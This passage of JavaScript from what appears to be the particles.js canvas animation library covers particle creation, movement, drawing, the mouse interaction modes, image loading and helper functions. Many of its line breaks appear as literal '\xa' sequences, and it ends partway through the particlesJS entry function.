            this.color.rgb = hexToRgb(this.color.value)\xa        }\xa        this.opacity = (pJS.particles.opacity.random ? Math.random() : 1) * pJS.particles.opacity.value;\xa        if (pJS.particles.opacity.anim.enable) {\xa            this.opacity_status = !1;\xa            this.vo = pJS.particles.opacity.anim.speed / 100;\xa            if (!pJS.particles.opacity.anim.sync) {
                this.vo = this.vo * Math.random()
            }
        }
        var velbase = {}\xa        switch (pJS.particles.move.direction) {
            case 'top':\xa                velbase = {\xa                    x: 0,
                    y: -1
                };\xa                break;\xa            case 'top-right':
                velbase = {\xa                    x: 0.5,\xa                    y: -0.5
                };\xa                break;\xa            case 'right':\xa                velbase = {
                    x: 1,
                    y: -0\xa                };\xa                break;\xa            case 'bottom-right':
                velbase = {\xa                    x: 0.5,\xa                    y: 0.5
                };
                break;\xa            case 'bottom':\xa                velbase = {\xa                    x: 0,\xa                    y: 1\xa                };\xa                break;\xa            case 'bottom-left':\xa                velbase = {\xa                    x: -0.5,
                    y: 1\xa                };
                break;
            case 'left':
                velbase = {
                    x: -1,\xa                    y: 0
                };\xa                break;
            case 'top-left':\xa                velbase = {
                    x: -0.5,
                    y: -0.5\xa                };
                break;\xa            default:\xa                velbase = {
                    x: 0,
                    y: 0
                };\xa                break
        }\xa        if (pJS.particles.move.straight) {\xa            this.vx = velbase.x;\xa            this.vy = velbase.y;
            if (pJS.particles.move.random) {
                this.vx = this.vx * (Math.random());
                this.vy = this.vy * (Math.random())
            }
        } else {\xa            this.vx = velbase.x + Math.random() - 0.5;
            this.vy = velbase.y + Math.random() - 0.5\xa        }
        this.vx_i = this.vx;
        this.vy_i = this.vy;
        var shape_type = pJS.particles.shape.type;\xa        if (typeof(shape_type) == 'object') {\xa            if (shape_type instanceof Array) {
                var shape_selected = shape_type[Math.floor(Math.random() * shape_type.length)];\xa                this.shape = shape_selected
            }\xa        } else {
            this.shape = shape_type\xa        }\xa        if (this.shape == 'image') {
            var sh = pJS.particles.shape;
            this.img = {\xa                src: sh.image.src,\xa                ratio: sh.image.width / sh.image.height
            }\xa            if (!this.img.ratio) this.img.ratio = 1;\xa            if (pJS.tmp.img_type == 'svg' && pJS.tmp.source_svg != undefined) {
                pJS.fn.vendors.createSvgImg(this);\xa                if (pJS.tmp.pushing) {
                    this.img.loaded = !1
                }\xa            }\xa        }\xa    };
    pJS.fn.particle.prototype.draw = function() {\xa        var p = this;
        if (p.radius_bubble != undefined) {\xa            var radius = p.radius_bubble\xa        } else {\xa            var radius = p.radius
        }\xa        if (p.opacity_bubble != undefined) {\xa            var opacity = p.opacity_bubble\xa        } else {\xa            var opacity = p.opacity
        }\xa        if (p.color.rgb) {
            var color_value = 'rgba(' + p.color.rgb.r + ',' + p.color.rgb.g + ',' + p.color.rgb.b + ',' + opacity + ')'\xa        } else {
            var color_value = 'hsla(' + p.color.hsl.h + ',' + p.color.hsl.s + '%,' + p.color.hsl.l + '%,' + opacity + ')'
        }\xa        pJS.canvas.ctx.fillStyle = color_value;\xa        pJS.canvas.ctx.beginPath();\xa        switch (p.shape) {\xa            case 'circle':\xa                pJS.canvas.ctx.arc(p.x, p.y, radius, 0, Math.PI * 2, !1);
                break;\xa            case 'edge':
                pJS.canvas.ctx.rect(p.x - radius, p.y - radius, radius * 2, radius * 2);
                break;
            case 'triangle':
                pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x - radius, p.y + radius / 1.66, radius * 2, 3, 2);
                break;\xa            case 'polygon':
                pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x - radius / (pJS.particles.shape.polygon.nb_sides / 3.5), p.y - radius / (2.66 / 3.5), radius * 2.66 / (pJS.particles.shape.polygon.nb_sides / 3), pJS.particles.shape.polygon.nb_sides, 1);
                break;\xa            case 'star':
                pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x - radius * 2 / (pJS.particles.shape.polygon.nb_sides / 4), p.y - radius / (2 * 2.66 / 3.5), radius * 2 * 2.66 / (pJS.particles.shape.polygon.nb_sides / 3), pJS.particles.shape.polygon.nb_sides, 2);\xa                break;\xa            case 'image':
                function draw() {\xa                    pJS.canvas.ctx.drawImage(img_obj, p.x - radius, p.y - radius, radius * 2, radius * 2 / p.img.ratio)\xa                }\xa                if (pJS.tmp.img_type == 'svg') {
                    var img_obj = p.img.obj\xa                } else {
                    var img_obj = pJS.tmp.img_obj\xa                }
                if (img_obj) {
                    draw()
                }\xa                break\xa        }
        pJS.canvas.ctx.closePath();
        if (pJS.particles.shape.stroke.width > 0) {\xa            pJS.canvas.ctx.strokeStyle = pJS.particles.shape.stroke.color;\xa            pJS.canvas.ctx.lineWidth = pJS.particles.shape.stroke.width;
            pJS.canvas.ctx.stroke()
        }\xa        pJS.canvas.ctx.fill()\xa    };
    pJS.fn.particlesCreate = function() {
        for (var i = 0; i < pJS.particles.number.value; i++) {\xa            pJS.particles.array.push(new pJS.fn.particle(pJS.particles.color, pJS.particles.opacity.value))\xa        }
    };\xa    pJS.fn.particlesUpdate = function() {\xa        for (var i = 0; i < pJS.particles.array.length; i++) {
            var p = pJS.particles.array[i];\xa            if (pJS.particles.move.enable) {\xa                var ms = pJS.particles.move.speed / 2;
                p.x += p.vx * ms;\xa                p.y += p.vy * ms
            }\xa            if (pJS.particles.opacity.anim.enable) {
                if (p.opacity_status == !0) {\xa                    if (p.opacity >= pJS.particles.opacity.value) p.opacity_status = !1;
                    p.opacity += p.vo
                } else {
                    if (p.opacity <= pJS.particles.opacity.anim.opacity_min) p.opacity_status = !0;\xa                    p.opacity -= p.vo
                }
                if (p.opacity < 0) p.opacity = 0
            }
            if (pJS.particles.size.anim.enable) {\xa                if (p.size_status == !0) {
                    if (p.radius >= pJS.particles.size.value) p.size_status = !1;
                    p.radius += p.vs\xa                } else {
                    if (p.radius <= pJS.particles.size.anim.size_min) p.size_status = !0;\xa                    p.radius -= p.vs
                }\xa                if (p.radius < 0) p.radius = 0
            }
            if (pJS.particles.move.out_mode == 'bounce') {\xa                var new_pos = {\xa                    x_left: p.radius,
                    x_right: pJS.canvas.w,\xa                    y_top: p.radius,
                    y_bottom: pJS.canvas.h\xa                }\xa            } else {
                var new_pos = {\xa                    x_left: -p.radius,
                    x_right: pJS.canvas.w + p.radius,
                    y_top: -p.radius,
                    y_bottom: pJS.canvas.h + p.radius
                }
            }\xa            if (p.x - p.radius > pJS.canvas.w) {\xa                p.x = new_pos.x_left;
                p.y = Math.random() * pJS.canvas.h
            } else if (p.x + p.radius < 0) {
                p.x = new_pos.x_right;\xa                p.y = Math.random() * pJS.canvas.h
            }\xa            if (p.y - p.radius > pJS.canvas.h) {\xa                p.y = new_pos.y_top;
                p.x = Math.random() * pJS.canvas.w\xa            } else if (p.y + p.radius < 0) {\xa                p.y = new_pos.y_bottom;
                p.x = Math.random() * pJS.canvas.w
            }
            switch (pJS.particles.move.out_mode) {
                case 'bounce':
                    if (p.x + p.radius > pJS.canvas.w) p.vx = -p.vx;\xa                    else if (p.x - p.radius < 0) p.vx = -p.vx;\xa                    if (p.y + p.radius > pJS.canvas.h) p.vy = -p.vy;
                    else if (p.y - p.radius < 0) p.vy = -p.vy;
                    break\xa            }\xa            if (isInArray('grab', pJS.interactivity.events.onhover.mode)) {
                pJS.fn.modes.grabParticle(p)\xa            }
            if (isInArray('bubble', pJS.interactivity.events.onhover.mode) || isInArray('bubble', pJS.interactivity.events.onclick.mode)) {\xa                pJS.fn.modes.bubbleParticle(p)
            }\xa            if (isInArray('repulse', pJS.interactivity.events.onhover.mode) || isInArray('repulse', pJS.interactivity.events.onclick.mode)) {
                pJS.fn.modes.repulseParticle(p)
            }\xa            if (pJS.particles.line_linked.enable || pJS.particles.move.attract.enable) {\xa                for (var j = i + 1; j < pJS.particles.array.length; j++) {
                    var p2 = pJS.particles.array[j];
                    if (pJS.particles.line_linked.enable) {\xa                        pJS.fn.interact.linkParticles(p, p2)
                    }
                    if (pJS.particles.move.attract.enable) {\xa                        pJS.fn.interact.attractParticles(p, p2)\xa                    }\xa                    if (pJS.particles.move.bounce) {
                        pJS.fn.interact.bounceParticles(p, p2)\xa                    }
                }\xa            }
        }
    };
    pJS.fn.particlesDraw = function() {
        pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h);
        pJS.fn.particlesUpdate();\xa        for (var i = 0; i < pJS.particles.array.length; i++) {
            var p = pJS.particles.array[i];
            p.draw()
        }\xa    };\xa    pJS.fn.particlesEmpty = function() {\xa        pJS.particles.array = []\xa    };
    pJS.fn.particlesRefresh = function() {
        cancelRequestAnimFrame(pJS.fn.checkAnimFrame);\xa        cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
        pJS.tmp.source_svg = undefined;\xa        pJS.tmp.img_obj = undefined;\xa        pJS.tmp.count_svg = 0;
        pJS.fn.particlesEmpty();
        pJS.fn.canvasClear();\xa        pJS.fn.vendors.start()
    };
    pJS.fn.interact.linkParticles = function(p1, p2) {\xa        var dx = p1.x - p2.x,\xa            dy = p1.y - p2.y,\xa            dist = Math.sqrt(dx * dx + dy * dy);
        if (dist <= pJS.particles.line_linked.distance) {
            var opacity_line = pJS.particles.line_linked.opacity - (dist / (1 / pJS.particles.line_linked.opacity)) / pJS.particles.line_linked.distance;
            if (opacity_line > 0) {
                var color_line = pJS.particles.line_linked.color_rgb_line;\xa                pJS.canvas.ctx.strokeStyle = 'rgba(' + color_line.r + ',' + color_line.g + ',' + color_line.b + ',' + opacity_line + ')';\xa                pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width;\xa                pJS.canvas.ctx.beginPath();\xa                pJS.canvas.ctx.moveTo(p1.x, p1.y);
                pJS.canvas.ctx.lineTo(p2.x, p2.y);\xa                pJS.canvas.ctx.stroke();
                pJS.canvas.ctx.closePath()
            }
        }
    };
    pJS.fn.interact.attractParticles = function(p1, p2) {
        var dx = p1.x - p2.x,\xa            dy = p1.y - p2.y,
            dist = Math.sqrt(dx * dx + dy * dy);\xa        if (dist <= pJS.particles.line_linked.distance) {\xa            var ax = dx / (pJS.particles.move.attract.rotateX * 1000),\xa                ay = dy / (pJS.particles.move.attract.rotateY * 1000);\xa            p1.vx -= ax;\xa            p1.vy -= ay;
            p2.vx += ax;
            p2.vy += ay
        }
    }
    pJS.fn.interact.bounceParticles = function(p1, p2) {
        var dx = p1.x - p2.x,
            dy = p1.y - p2.y,
            dist = Math.sqrt(dx * dx + dy * dy),
            dist_p = p1.radius + p2.radius;\xa        if (dist <= dist_p) {\xa            p1.vx = -p1.vx;
            p1.vy = -p1.vy;\xa            p2.vx = -p2.vx;\xa            p2.vy = -p2.vy\xa        }\xa    }
    pJS.fn.modes.pushParticles = function(nb, pos) {\xa        pJS.tmp.pushing = !0;\xa        for (var i = 0; i < nb; i++) {
            pJS.particles.array.push(new pJS.fn.particle(pJS.particles.color, pJS.particles.opacity.value, {
                'x': pos ? pos.pos_x : Math.random() * pJS.canvas.w,
                'y': pos ? pos.pos_y : Math.random() * pJS.canvas.h\xa            }))
            if (i == nb - 1) {
                if (!pJS.particles.move.enable) {\xa                    pJS.fn.particlesDraw()\xa                }\xa                pJS.tmp.pushing = !1
            }\xa        }
    };\xa    pJS.fn.modes.removeParticles = function(nb) {
        pJS.particles.array.splice(0, nb);\xa        if (!pJS.particles.move.enable) {\xa            pJS.fn.particlesDraw()\xa        }\xa    };\xa    pJS.fn.modes.bubbleParticle = function(p) {\xa        if (pJS.interactivity.events.onhover.enable && isInArray('bubble', pJS.interactivity.events.onhover.mode)) {
            var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
                dy_mouse = p.y - pJS.interactivity.mouse.pos_y,\xa                dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse),
                ratio = 1 - dist_mouse / pJS.interactivity.modes.bubble.distance;
\xa            function init() {
                p.opacity_bubble = p.opacity;
                p.radius_bubble = p.radius\xa            }\xa            if (dist_mouse <= pJS.interactivity.modes.bubble.distance) {\xa                if (ratio >= 0 && pJS.interactivity.status == 'mousemove') {
                    if (pJS.interactivity.modes.bubble.size != pJS.particles.size.value) {
                        if (pJS.interactivity.modes.bubble.size > pJS.particles.size.value) {
                            var size = p.radius + (pJS.interactivity.modes.bubble.size * ratio);\xa                            if (size >= 0) {
                                p.radius_bubble = size
                            }\xa                        } else {\xa                            var dif = p.radius - pJS.interactivity.modes.bubble.size,\xa                                size = p.radius - (dif * ratio);\xa                            if (size > 0) {
                                p.radius_bubble = size
                            } else {\xa                                p.radius_bubble = 0
                            }\xa                        }\xa                    }
                    if (pJS.interactivity.modes.bubble.opacity != pJS.particles.opacity.value) {
                        if (pJS.interactivity.modes.bubble.opacity > pJS.particles.opacity.value) {\xa                            var opacity = pJS.interactivity.modes.bubble.opacity * ratio;
                            if (opacity > p.opacity && opacity <= pJS.interactivity.modes.bubble.opacity) {\xa                                p.opacity_bubble = opacity\xa                            }\xa                        } else {\xa                            var opacity = p.opacity - (pJS.particles.opacity.value - pJS.interactivity.modes.bubble.opacity) * ratio;
                            if (opacity < p.opacity && opacity >= pJS.interactivity.modes.bubble.opacity) {\xa                                p.opacity_bubble = opacity
                            }\xa                        }
                    }
                }
            } else {\xa                init()\xa            }\xa            if (pJS.interactivity.status == 'mouseleave') {\xa                init()\xa            }
        } else if (pJS.interactivity.events.onclick.enable && isInArray('bubble', pJS.interactivity.events.onclick.mode)) {
            if (pJS.tmp.bubble_clicking) {\xa                var dx_mouse = p.x - pJS.interactivity.mouse.click_pos_x,
                    dy_mouse = p.y - pJS.interactivity.mouse.click_pos_y,
                    dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse),\xa                    time_spent = (new Date().getTime() - pJS.interactivity.mouse.click_time) / 1000;\xa                if (time_spent > pJS.interactivity.modes.bubble.duration) {
                    pJS.tmp.bubble_duration_end = !0\xa                }
                if (time_spent > pJS.interactivity.modes.bubble.duration * 2) {
                    pJS.tmp.bubble_clicking = !1;\xa                    pJS.tmp.bubble_duration_end = !1
                }\xa            }
\xa            function process(bubble_param, particles_param, p_obj_bubble, p_obj, id) {\xa                if (bubble_param != particles_param) {\xa                    if (!pJS.tmp.bubble_duration_end) {\xa                        if (dist_mouse <= pJS.interactivity.modes.bubble.distance) {
                            if (p_obj_bubble != undefined) var obj = p_obj_bubble;\xa                            else var obj = p_obj;\xa                            if (obj != bubble_param) {
                                var value = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration);
                                if (id == 'size') p.radius_bubble = value;\xa                                if (id == 'opacity') p.opacity_bubble = value
                            }\xa                        } else {\xa                            if (id == 'size') p.radius_bubble = undefined;
                            if (id == 'opacity') p.opacity_bubble = undefined\xa                        }
                    } else {
                        if (p_obj_bubble != undefined) {
                            var value_tmp = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration),
                                dif = bubble_param - value_tmp;\xa                            value = bubble_param + dif;
                            if (id == 'size') p.radius_bubble = value;
                            if (id == 'opacity') p.opacity_bubble = value\xa                        }
                    }\xa                }\xa            }\xa            if (pJS.tmp.bubble_clicking) {\xa                process(pJS.interactivity.modes.bubble.size, pJS.particles.size.value, p.radius_bubble, p.radius, 'size');
                process(pJS.interactivity.modes.bubble.opacity, pJS.particles.opacity.value, p.opacity_bubble, p.opacity, 'opacity')
            }
        }
    };
    pJS.fn.modes.repulseParticle = function(p) {
        if (pJS.interactivity.events.onhover.enable && isInArray('repulse', pJS.interactivity.events.onhover.mode) && pJS.interactivity.status == 'mousemove') {
            var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,\xa                dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
                dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse);\xa            var normVec = {\xa                    x: dx_mouse / dist_mouse,
                    y: dy_mouse / dist_mouse\xa                },
                repulseRadius = pJS.interactivity.modes.repulse.distance,\xa                velocity = 100,
                repulseFactor = clamp((1 / repulseRadius) * (-1 * Math.pow(dist_mouse / repulseRadius, 2) + 1) * repulseRadius * velocity, 0, 50);
            var pos = {\xa                x: p.x + normVec.x * repulseFactor,
                y: p.y + normVec.y * repulseFactor
            }\xa            if (pJS.particles.move.out_mode == 'bounce') {\xa                if (pos.x - p.radius > 0 && pos.x + p.radius < pJS.canvas.w) p.x = pos.x;
                if (pos.y - p.radius > 0 && pos.y + p.radius < pJS.canvas.h) p.y = pos.y\xa            } else {
                p.x = pos.x;\xa                p.y = pos.y\xa            }\xa        } else if (pJS.interactivity.events.onclick.enable && isInArray('repulse', pJS.interactivity.events.onclick.mode)) {\xa            if (!pJS.tmp.repulse_finish) {
                pJS.tmp.repulse_count++;
                if (pJS.tmp.repulse_count == pJS.particles.array.length) {\xa                    pJS.tmp.repulse_finish = !0\xa                }\xa            }
            if (pJS.tmp.repulse_clicking) {\xa                var repulseRadius = Math.pow(pJS.interactivity.modes.repulse.distance / 6, 3);
                var dx = pJS.interactivity.mouse.click_pos_x - p.x,
                    dy = pJS.interactivity.mouse.click_pos_y - p.y,
                    d = dx * dx + dy * dy;
                var force = -repulseRadius / d * 1;
\xa                function process() {
                    var f = Math.atan2(dy, dx);
                    p.vx = force * Math.cos(f);
                    p.vy = force * Math.sin(f);
                    if (pJS.particles.move.out_mode == 'bounce') {\xa                        var pos = {
                            x: p.x + p.vx,\xa                            y: p.y + p.vy\xa                        }
                        if (pos.x + p.radius > pJS.canvas.w) p.vx = -p.vx;\xa                        else if (pos.x - p.radius < 0) p.vx = -p.vx;\xa                        if (pos.y + p.radius > pJS.canvas.h) p.vy = -p.vy;
                        else if (pos.y - p.radius < 0) p.vy = -p.vy
                    }
                }\xa                if (d <= repulseRadius) {\xa                    process()\xa                }\xa            } else {\xa                if (pJS.tmp.repulse_clicking == !1) {
                    p.vx = p.vx_i;\xa                    p.vy = p.vy_i
                }\xa            }\xa        }\xa    }
    pJS.fn.modes.grabParticle = function(p) {\xa        if (pJS.interactivity.events.onhover.enable && pJS.interactivity.status == 'mousemove') {\xa            var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
                dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
                dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse);\xa            if (dist_mouse <= pJS.interactivity.modes.grab.distance) {\xa                var opacity_line = pJS.interactivity.modes.grab.line_linked.opacity - (dist_mouse / (1 / pJS.interactivity.modes.grab.line_linked.opacity)) / pJS.interactivity.modes.grab.distance;
                if (opacity_line > 0) {
                    var color_line = pJS.particles.line_linked.color_rgb_line;\xa                    pJS.canvas.ctx.strokeStyle = 'rgba(' + color_line.r + ',' + color_line.g + ',' + color_line.b + ',' + opacity_line + ')';\xa                    pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width;
                    pJS.canvas.ctx.beginPath();\xa                    pJS.canvas.ctx.moveTo(p.x, p.y);\xa                    pJS.canvas.ctx.lineTo(pJS.interactivity.mouse.pos_x, pJS.interactivity.mouse.pos_y);\xa                    pJS.canvas.ctx.stroke();
                    pJS.canvas.ctx.closePath()\xa                }
            }
        }
    };\xa    pJS.fn.vendors.eventsListeners = function() {\xa        if (pJS.interactivity.detect_on == 'window') {\xa            pJS.interactivity.el = window
        } else {
            pJS.interactivity.el = pJS.canvas.el\xa        }
        if (pJS.interactivity.events.onhover.enable || pJS.interactivity.events.onclick.enable) {
            pJS.interactivity.el.addEventListener('mousemove', function(e) {\xa                if (pJS.interactivity.el == window) {
                    var pos_x = e.clientX,
                        pos_y = e.clientY\xa                } else {
                    var pos_x = e.offsetX || e.clientX,
                        pos_y = e.offsetY || e.clientY\xa                }
                pJS.interactivity.mouse.pos_x = pos_x;\xa                pJS.interactivity.mouse.pos_y = pos_y;
                if (pJS.tmp.retina) {\xa                    pJS.interactivity.mouse.pos_x *= pJS.canvas.pxratio;
                    pJS.interactivity.mouse.pos_y *= pJS.canvas.pxratio\xa                }\xa                pJS.interactivity.status = 'mousemove'
            });\xa            pJS.interactivity.el.addEventListener('mouseleave', function(e) {\xa                pJS.interactivity.mouse.pos_x = null;
                pJS.interactivity.mouse.pos_y = null;\xa                pJS.interactivity.status = 'mouseleave'
            })
        }
        if (pJS.interactivity.events.onclick.enable) {
            pJS.interactivity.el.addEventListener('click', function() {
                pJS.interactivity.mouse.click_pos_x = pJS.interactivity.mouse.pos_x;
                pJS.interactivity.mouse.click_pos_y = pJS.interactivity.mouse.pos_y;\xa                pJS.interactivity.mouse.click_time = new Date().getTime();\xa                if (pJS.interactivity.events.onclick.enable) {\xa                    switch (pJS.interactivity.events.onclick.mode) {
                        case 'push':
                            if (pJS.particles.move.enable) {\xa                                pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse)\xa                            } else {\xa                                if (pJS.interactivity.modes.push.particles_nb == 1) {\xa                                    pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse)\xa                                } else if (pJS.interactivity.modes.push.particles_nb > 1) {
                                    pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb)
                                }
                            }
                            break;
                        case 'remove':\xa                            pJS.fn.modes.removeParticles(pJS.interactivity.modes.remove.particles_nb);
                            break;
                        case 'bubble':
                            pJS.tmp.bubble_clicking = !0;\xa                            break;
                        case 'repulse':\xa                            pJS.tmp.repulse_clicking = !0;
                            pJS.tmp.repulse_count = 0;\xa                            pJS.tmp.repulse_finish = !1;\xa                            setTimeout(function() {\xa                                pJS.tmp.repulse_clicking = !1\xa                            }, pJS.interactivity.modes.repulse.duration * 1000)\xa                            break
                    }
                }\xa            })\xa        }\xa    };\xa    pJS.fn.vendors.densityAutoParticles = function() {\xa        if (pJS.particles.number.density.enable) {\xa            var area = pJS.canvas.el.width * pJS.canvas.el.height / 1000;
            if (pJS.tmp.retina) {
                area = area / (pJS.canvas.pxratio * 2)
            }
            var nb_particles = area * pJS.particles.number.value / pJS.particles.number.density.value_area;
            var missing_particles = pJS.particles.array.length - nb_particles;\xa            if (missing_particles < 0) pJS.fn.modes.pushParticles(Math.abs(missing_particles));
            else pJS.fn.modes.removeParticles(missing_particles)\xa        }
    };\xa    pJS.fn.vendors.checkOverlap = function(p1, position) {
        for (var i = 0; i < pJS.particles.array.length; i++) {
            var p2 = pJS.particles.array[i];
            var dx = p1.x - p2.x,\xa                dy = p1.y - p2.y,
                dist = Math.sqrt(dx * dx + dy * dy);\xa            if (dist <= p1.radius + p2.radius) {
                p1.x = position ? position.x : Math.random() * pJS.canvas.w;
                p1.y = position ? position.y : Math.random() * pJS.canvas.h;\xa                pJS.fn.vendors.checkOverlap(p1)
            }\xa        }
    };\xa    pJS.fn.vendors.createSvgImg = function(p) {
        var svgXml = pJS.tmp.source_svg,
            rgbHex = /#([0-9A-F]{3,6})/gi,
            coloredSvgXml = svgXml.replace(rgbHex, function(m, r, g, b) {\xa                if (p.color.rgb) {
                    var color_value = 'rgba(' + p.color.rgb.r + ',' + p.color.rgb.g + ',' + p.color.rgb.b + ',' + p.opacity + ')'\xa                } else {\xa                    var color_value = 'hsla(' + p.color.hsl.h + ',' + p.color.hsl.s + '%,' + p.color.hsl.l + '%,' + p.opacity + ')'
                }\xa                return color_value
            });
        var svg = new Blob([coloredSvgXml], {
                type: 'image/svg+xml;charset=utf-8'
            }),
            DOMURL = window.URL || window.webkitURL || window,\xa            url = DOMURL.createObjectURL(svg);\xa        var img = new Image();\xa        img.addEventListener('load', function() {\xa            p.img.obj = img;
            p.img.loaded = !0;
            DOMURL.revokeObjectURL(url);
            pJS.tmp.count_svg++
        });\xa        img.src = url
    };\xa    pJS.fn.vendors.destroypJS = function() {\xa        cancelAnimationFrame(pJS.fn.drawAnimFrame);
        canvas_el.remove();\xa        pJSDom = null\xa    };\xa    pJS.fn.vendors.drawShape = function(c, startX, startY, sideLength, sideCountNumerator, sideCountDenominator) {
        var sideCount = sideCountNumerator * sideCountDenominator;\xa        var decimalSides = sideCountNumerator / sideCountDenominator;
        var interiorAngleDegrees = (180 * (decimalSides - 2)) / decimalSides;\xa        var interiorAngle = Math.PI - Math.PI * interiorAngleDegrees / 180;\xa        c.save();\xa        c.beginPath();\xa        c.translate(startX, startY);
        c.moveTo(0, 0);\xa        for (var i = 0; i < sideCount; i++) {
            c.lineTo(sideLength, 0);
            c.translate(sideLength, 0);
            c.rotate(interiorAngle)\xa        }
        c.fill();
        c.restore()
    };\xa    pJS.fn.vendors.exportImg = function() {\xa        window.open(pJS.canvas.el.toDataURL('image/png'), '_blank')\xa    };
    pJS.fn.vendors.loadImg = function(type) {\xa        pJS.tmp.img_error = undefined;\xa        if (pJS.particles.shape.image.src != '') {
            if (type == 'svg') {\xa                var xhr = new XMLHttpRequest();\xa                xhr.open('GET', pJS.particles.shape.image.src);
                xhr.onreadystatechange = function(data) {\xa                    if (xhr.readyState == 4) {
                        if (xhr.status == 200) {
                            pJS.tmp.source_svg = data.currentTarget.response;\xa                            pJS.fn.vendors.checkBeforeDraw()\xa                        } else {\xa                            console.log('Error pJS - Image not found');\xa                            pJS.tmp.img_error = !0\xa                        }\xa                    }\xa                }
                xhr.send()
            } else {\xa                var img = new Image();\xa                img.addEventListener('load', function() {\xa                    pJS.tmp.img_obj = img;
                    pJS.fn.vendors.checkBeforeDraw()\xa                });
                img.src = pJS.particles.shape.image.src
            }
        } else {
            console.log('Error pJS - No image.src');
            pJS.tmp.img_error = !0\xa        }\xa    };
    pJS.fn.vendors.draw = function() {
        if (pJS.particles.shape.type == 'image') {
            if (pJS.tmp.img_type == 'svg') {\xa                if (pJS.tmp.count_svg >= pJS.particles.number.value) {\xa                    pJS.fn.particlesDraw();\xa                    if (!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);\xa                    else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)\xa                } else {
                    if (!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
                }\xa            } else {\xa                if (pJS.tmp.img_obj != undefined) {\xa                    pJS.fn.particlesDraw();
                    if (!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);\xa                    else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
                } else {\xa                    if (!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)\xa                }\xa            }
        } else {
            pJS.fn.particlesDraw();\xa            if (!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);\xa            else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)\xa        }\xa    };\xa    pJS.fn.vendors.checkBeforeDraw = function() {
        if (pJS.particles.shape.type == 'image') {
            if (pJS.tmp.img_type == 'svg' && pJS.tmp.source_svg == undefined) {
                pJS.tmp.checkAnimFrame = requestAnimFrame(check)\xa            } else {\xa                cancelRequestAnimFrame(pJS.tmp.checkAnimFrame);
                if (!pJS.tmp.img_error) {\xa                    pJS.fn.vendors.init();\xa                    pJS.fn.vendors.draw()
                }
            }
        } else {\xa            pJS.fn.vendors.init();
            pJS.fn.vendors.draw()
        }
    };
    pJS.fn.vendors.init = function() {\xa        pJS.fn.retinaInit();\xa        pJS.fn.canvasInit();\xa        pJS.fn.canvasSize();\xa        pJS.fn.canvasPaint();
        pJS.fn.particlesCreate();\xa        pJS.fn.vendors.densityAutoParticles();\xa        pJS.particles.line_linked.color_rgb_line = hexToRgb(pJS.particles.line_linked.color)\xa    };\xa    pJS.fn.vendors.start = function() {
        if (isInArray('image', pJS.particles.shape.type)) {
            pJS.tmp.img_type = pJS.particles.shape.image.src.substr(pJS.particles.shape.image.src.length - 3);
            pJS.fn.vendors.loadImg(pJS.tmp.img_type)\xa        } else {\xa            pJS.fn.vendors.checkBeforeDraw()\xa        }
    };
    pJS.fn.vendors.eventsListeners();\xa    pJS.fn.vendors.start()
};
Object.deepExtend = function(destination, source) {
    for (var property in source) {
        if (source[property] && source[property].constructor && source[property].constructor === Object) {\xa            destination[property] = destination[property] || {};
            arguments.callee(destination[property], source[property])
        } else {
            destination[property] = source[property]
        }
    }\xa    return destination
};
window.requestAnimFrame = (function() {
    return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) {\xa        window.setTimeout(callback, 1000 / 60)\xa    }\xa})();
window.cancelRequestAnimFrame = (function() {
    return window.cancelAnimationFrame || window.webkitCancelRequestAnimationFrame || window.mozCancelRequestAnimationFrame || window.oCancelRequestAnimationFrame || window.msCancelRequestAnimationFrame || clearTimeout
})();\xa\xafunction hexToRgb(hex) {
    var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i;
    hex = hex.replace(shorthandRegex, function(m, r, g, b) {
        return r + r + g + g + b + b
    });\xa    var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
    return result ? {\xa        r: parseInt(result[1], 16),\xa        g: parseInt(result[2], 16),
        b: parseInt(result[3], 16)\xa    } : null\xa};
\xafunction clamp(number, min, max) {\xa    return Math.min(Math.max(number, min), max)
};\xa\xafunction isInArray(value, array) {\xa    return array.indexOf(value) > -1
}
window.pJSDom = [];
window.particlesJS = function(tag_id, params) {
    if (typeof(tag_id) != 'string') {
        params = tag_id;\xa        tag_id = 'particles-js'
    }\xa    if (!tag_id) {\xa        tag_id = 'particles-js'
    }\xa    var pJS_tag = document.getElementById(tag_id),
        pJS_canvas_class = 'particles-js-canvas-el',\xa        exist_canvas = pJS_tag.getElementsByClassName(pJS_canvas_class);
    if (exist_canvas.length) {
